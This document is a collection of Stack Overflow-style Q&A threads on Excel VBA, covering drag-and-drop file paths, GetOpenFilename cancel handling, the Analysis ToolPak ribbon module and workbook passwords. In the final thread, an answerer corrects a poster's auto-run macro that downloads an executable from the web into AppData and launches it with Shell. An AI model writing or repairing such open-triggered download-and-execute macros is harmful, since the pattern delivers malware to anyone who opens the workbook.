I have a user form "UserForm1" and am using the following code to obtain the filename and path of a file that the user has dragged and dropped into the TreeView located on the userform.
Public Sub TreeView1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single)
StrPath = Data.Files(1)
Debug.Print StrPath
Call PrintPath
End Sub
Then in the UserForm_Initialize I have
TreeView1.OLEDropMode = ccOLEDropManual
I know this code is getting the path and name because I'm able to debug.print it. However, my issue is I can't get this filename and path to be utilized in a module. For instance I have tried to do the following for the simplest of uses (to print the filename and path to cell A1):
Public Sub PrintPath()
UserForm1.TreeView1.StrPath = Range("A1").Value
'StrPath.Value = Range("A1").Value
'UserForm1.StrPath.Value = Range("A1").Value
'Range("A1").Value = UserForm1.Data.Files(1)
End Sub
All of the commented lines are other versions I have attempted with no avail.
I typically get Object does not exist. Sometimes 424 errors.
Can anyone point me in the right direction?
Please and thank you!
Chris
The typical way to do this woould be to pass the path as an argument to PrintPath
Public Sub TreeView1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, _
Button As Integer, Shift As Integer, x As Single, y As Single)
Dim strPath
strPath = Data.Files(1)
Debug.Print strPath
PrintPath strPath '<< pass in the path
End Sub
Public Sub PrintPath(sPath)
ActiveSheet.Range("A1").Value = sPath
End Sub
I have just now figured out the answer. In the UserForm1 Code I did
Option Explicit
Public StrPath As Variant
Then in the module I was able to use it with
UserForm1.StrPath
i.e.
Range("A1").Value = UserForm1.StrPath
Related
I have the following question: when I use the GetFileOpenFileName option with
Multiselect = True it returns the results as a Array if I selected one file or more, but if I click "Cancel" it returns as a boolean vartype. What should I do to avoid the
error 13 "Incompatible Type
when someone clicks it.
Besides, I already tried to test if(vartype(filename) = vbBoolean) then or if(filename = False) then to exit sub, but the first one I took the same error and the second one it said that I'm not allowed to assign values to filename if I select some file.
Here is the code.
public sub open_file()
dim i as integer
Dim filename() As Variant
filename = Application.GetOpenFilename(Title:="Arquivos em Excel", MultiSelect:=True, FileFilter:="Arquivos em Excel,*.xls*")
For i = 1 To UBound(filename)
msgbox filename(i)
next i
end sub
As per comments from both #Brian M Stafford and #braX, your code should be amended as follows...
Public Sub open_file()
Dim i As Integer
Dim filename As Variant
filename = Application.GetOpenFilename(Title:="Arquivos em Excel", MultiSelect:=True, FileFilter:="Arquivos em Excel,*.xls*")
If Not IsArray(filename) Then
MsgBox "User cancelled!", vbExclamation 'optional
Exit Sub
End If
For i = 1 To UBound(filename)
MsgBox filename(i)
Next i
End Sub
To clarify, notice that filename is declared as Variant, not as an array whose elements are a Variant data type.
As such, filename can be assigned either an array containing the filenames when one or more files are selected, or a boolean value when the user cancels.
Also notice that we test whether filename is an array to determine whether the user has selected one or more files. If not, it exits the sub. Otherwise, it continues.
I'm having a problem (I have no idea if it is a problem or not, but it's kind of annoing becaause never happened before) with openning the VBA. The thing is, whenever I press Alt + f11 I enter in a module called RibbonX_code and it has the followed code:
Option Explicit
Const sResourcePrefix As String = "RES_"
'Get Culture
Private Function GetATPUICultureTag() As String
Dim shTemp As Worksheet
Dim sCulture As String
Dim sSheetName As String
sCulture = Application.International(xlUICultureTag)
sSheetName = sResourcePrefix + sCulture
On Error Resume Next
Set shTemp = ThisWorkbook.Worksheets(sSheetName)
On Error GoTo 0
If shTemp Is Nothing Then sCulture = GetFallbackTag(sCulture)
GetATPUICultureTag = sCulture
End Function
'Entry point for RibbonX button click
Sub ShowATPDialog(control As IRibbonControl)
Application.Run ("fDialog")
End Sub
'Callback for RibbonX button label
Sub GetATPLabel(control As IRibbonControl, ByRef label)
label = ThisWorkbook.Sheets(sResourcePrefix + GetATPUICultureTag()).Range("RibbonCommand").Value
End Sub
'Callback for screentip
Public Sub GetATPScreenTip(control As IRibbonControl, ByRef label)
label = ThisWorkbook.Sheets(sResourcePrefix + GetATPUICultureTag()).Range("ScreenTip").Value
End Sub
'Callback for Super Tip
Public Sub GetATPSuperTip(control As IRibbonControl, ByRef label)
label = ThisWorkbook.Sheets(sResourcePrefix + GetATPUICultureTag()).Range("SuperTip").Value
End Sub
Public Sub GetGroupName(control As IRibbonControl, ByRef label)
label = ThisWorkbook.Sheets(sResourcePrefix + GetATPUICultureTag()).Range("GroupName").Value
End Sub
'Check for Fallback Languages
Private Function GetFallbackTag(szCulture As String) As String
'Sorted alphabetically by returned culture tag, then input culture tag
Select Case (szCulture)
Case "rm-CH"
GetFallbackTag = "de-DE"
Case "ca-ES", "ca-ES-valencia", "eu-ES", "gl-ES"
GetFallbackTag = "es-ES"
Case "lb-LU"
GetFallbackTag = "fr-FR"
Case "nn-NO"
GetFallbackTag = "nb-NO"
Case "be-BY", "ky-KG", "tg-Cyrl-TJ", "tt-RU", "uz-Latn-UZ"
GetFallbackTag = "ru-RU"
Case Else
GetFallbackTag = "en-US"
End Select
End Function
I have no idea what it is, it started happen today and it never happened before. I'm new in vba and I just want to know what it is, so if it is normal, just close the topic.
I could have sworn this has been asked and answered here already, but in any case...
This is due to the Analysis ToolPak add-in being loaded. To hide it, navigate to File > Options > Add-Ins > Manage Excel Add-Ins > Go and uncheck Analysis ToolPak.
I am trying to drag and drop more than one file on a Userform to get their paths. I managed it with one file thanks to this.
When I change FilePath = Data.files(1) to FilePath = Data.Files(2) or (i), I get a message "Table Expected". Should I create a Table and Redim it?
My work so far:
This one does the job (opening the file and copying it into a selected sheet)
Dim Wb, FilePath As String
Dim WbIni, WbCib As Workbook
Private Sub CommandButton2_Click()
If FilePath = vbNullString Then
MsgBox "Aucun fichier n'a été importé", vbCritical, "Anomalie"
Unload UserForm1
Exit Sub
End If
Set WbCib = Workbooks.Open(Filename:=FilePath)
MsgBox WbCib.Name
i = WbCib.ActiveSheet.Range("A1").End(xlDown).Row
WbCib.ActiveSheet.Range("A1:A" & i).Copy
ActiveSheet.Paste Destination:=WbIni.Worksheets("Target").Range("A1:A" & i)
WbIni.Sheets("Target").Activate
WbCib.Close
Unload UserForm1
End Sub
This one initializes my TreeView for the drag and drop
Private Sub UserForm_Initialize()
Wb = ThisWorkbook.Name
Set WbIni = ActiveWorkbook
TreeView1.OLEDropMode = ccOLEDropManual
End Sub
This one gives me the file path. I think I need to loop it.
Private Sub TreeView1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single)
FilePath = Data.Files(1)
Workbooks(Wb).Activate
MsgBox FilePath
End Sub
Thanks to #R.Roe's comment, I managed to do what I wanted :
Dim x, y As Integer
Dim PathTable As String
Dim FilePath As Variant
Private Sub TreeView1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single)
Dim i As Integer
Workbooks(Wb).Activate
'Counting file paths I dropped
For Each FilePath In Data.Files()
i = i + 1
Next FilePath
'Redim my table
ReDim PathTable(i)
i = 1
'Adding data to my table
For x = 0 To UBound(PathTable) - 1
PathTable(x) = Data.Files(i)
i = i + 1
Next x
'Just to make sure it works
For x = 0 To UBound(PathTable) - 1
MsgBox PathTable(x)
Next x
End Sub
Cheers!
I have many workbooks that prompt for a password to open so I want to skip the step by using VBA to enter it for me. Is this possible? I am guessing no because the WorkbookOpen event doesn't fire until the book is open yes?
I have a class module in my personal.xlsb with the following code:
Private WithEvents appEvent As Application
Private Sub Class_Initialize()
Set appEvent = Application
End Sub
Private Sub AppEvent_WorkbookOpen(ByVal wb As Excel.Workbook)
If wb.name = "PERSONAL.XLSB" Then Exit Sub
Dim prefix As String
Dim bookName As String
Dim path As String
Dim password As String
Dim dd As String
Dim book As Workbook
prefix = Left(wb.name, 3)
If prefix = "DD0" Then
dd = Mid(wb.name, 4, 5)
path = wb.path & "\"
bookName = wb.name
skipPass path, bookName, dd
End If
End Sub
Then I have a module in my personal.xlsb with the following:
Sub skipPass(p As String, n As String, center As String)
Dim book As Workbook
Set book = Workbooks.Open(filename:=p & n, UpdateLinks:=0, password:=pass(p, center))
End Sub
Function pass(path As String, ddN As String)
Select Case path
...
end function
The first time I open the workbook, it prompts me for the password. Then the code runs fine except it just loops forever. I think I can solve the loop problem by setting a global flag but how do I fix the first problem?
This approach won't work since, as you've guessed, the AppEvent_WorkbookOpen event won't fire until you've supplied the password manually.
You have to handle the file opening yourself from the very beginning, i.e. by programming a sub that uses Application.GetOpenFileName to obtain one or more file names to open, and then supply passwords according to your logic. Your sub could be invoked by a key combination; search for Application.OnKey examples.
Note that string comparisons in VBA are case sensitive; use the StrComp function whenever you need to make case-insensitive comparisons.
Created a class named coa with the following:
Private Type ddData
path As String
passw As String
End Type
Private this As ddData
Public Property Get path() As String
path = this.path
End Property
Public Property Let path(ByVal value As String)
this.path = value
End Property
Public Property Get passw() As String
passw = this.passw
End Property
Public Property Let passw(ByVal value As String)
this.passw = value
End Property
Then the following in a module:
Private Sub noPass()
Dim ddN As String
Dim wb As Workbook
Dim dd As coa
ddN = InputBox("File?")
If ddN = "" Then Exit Sub
dd = grabddData(ddN)
Set wb = Workbooks.Open(filename:=dd.path & ddN & ".xlsm", UpdateLinks:=0, password:=dd.passw)
End Sub
Private Function grabddData(ByVal ddNumber) As coa 'returns our class
Dim result As New coa 'create an object of our class
Select Case ddNumber
...
Set grabddData = result 'return our class object
End Function
Not ideal but oh well.
Doing some simple VBA scripting and run into a bit of a roadblock. (I'm a very new VBA coder).
When I compiled the following code, I keep getting "Compile Error: Argument Not Optional" and yet I can't seem to find any errors (probably just my idiocy).
The code is supposed to download a file (I've just got the PuTTy executable for testing) and then load it into the AppData folder and execute.
Appreciate the help.
Sub Auto_Open()
input
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
Set pass = CreateObject('MSXML2.XMLHTTP')
pass.Open 'GET', pass2, False
pass.Send 'send request
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> '' Then Kill pass3
Open pass3 For Binary As # hard
Put # hard, , helper
Close # hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub input()
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe'
End Sub
Please see my comments in your code. I highly recommend visiting the vba wiki page, as it has some great resources for people new to the language. I didn't test or debug the code at all. I just corrected the obvious mistakes so that it will compile.
Option Explicit
Sub AutoOpen()
'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub
Sub Workbook_Open()
AutoOpen
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
Set pass = CreateObject("MSXML2.XMLHTTP")
pass.Open "GET", pass2, False
pass.Send "send request"
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> "" Then Kill pass3
Open pass3 For Binary As #hard
Put #hard, , helper
Close #hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub someInput() ' you can't use input, it's a reserved work
var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub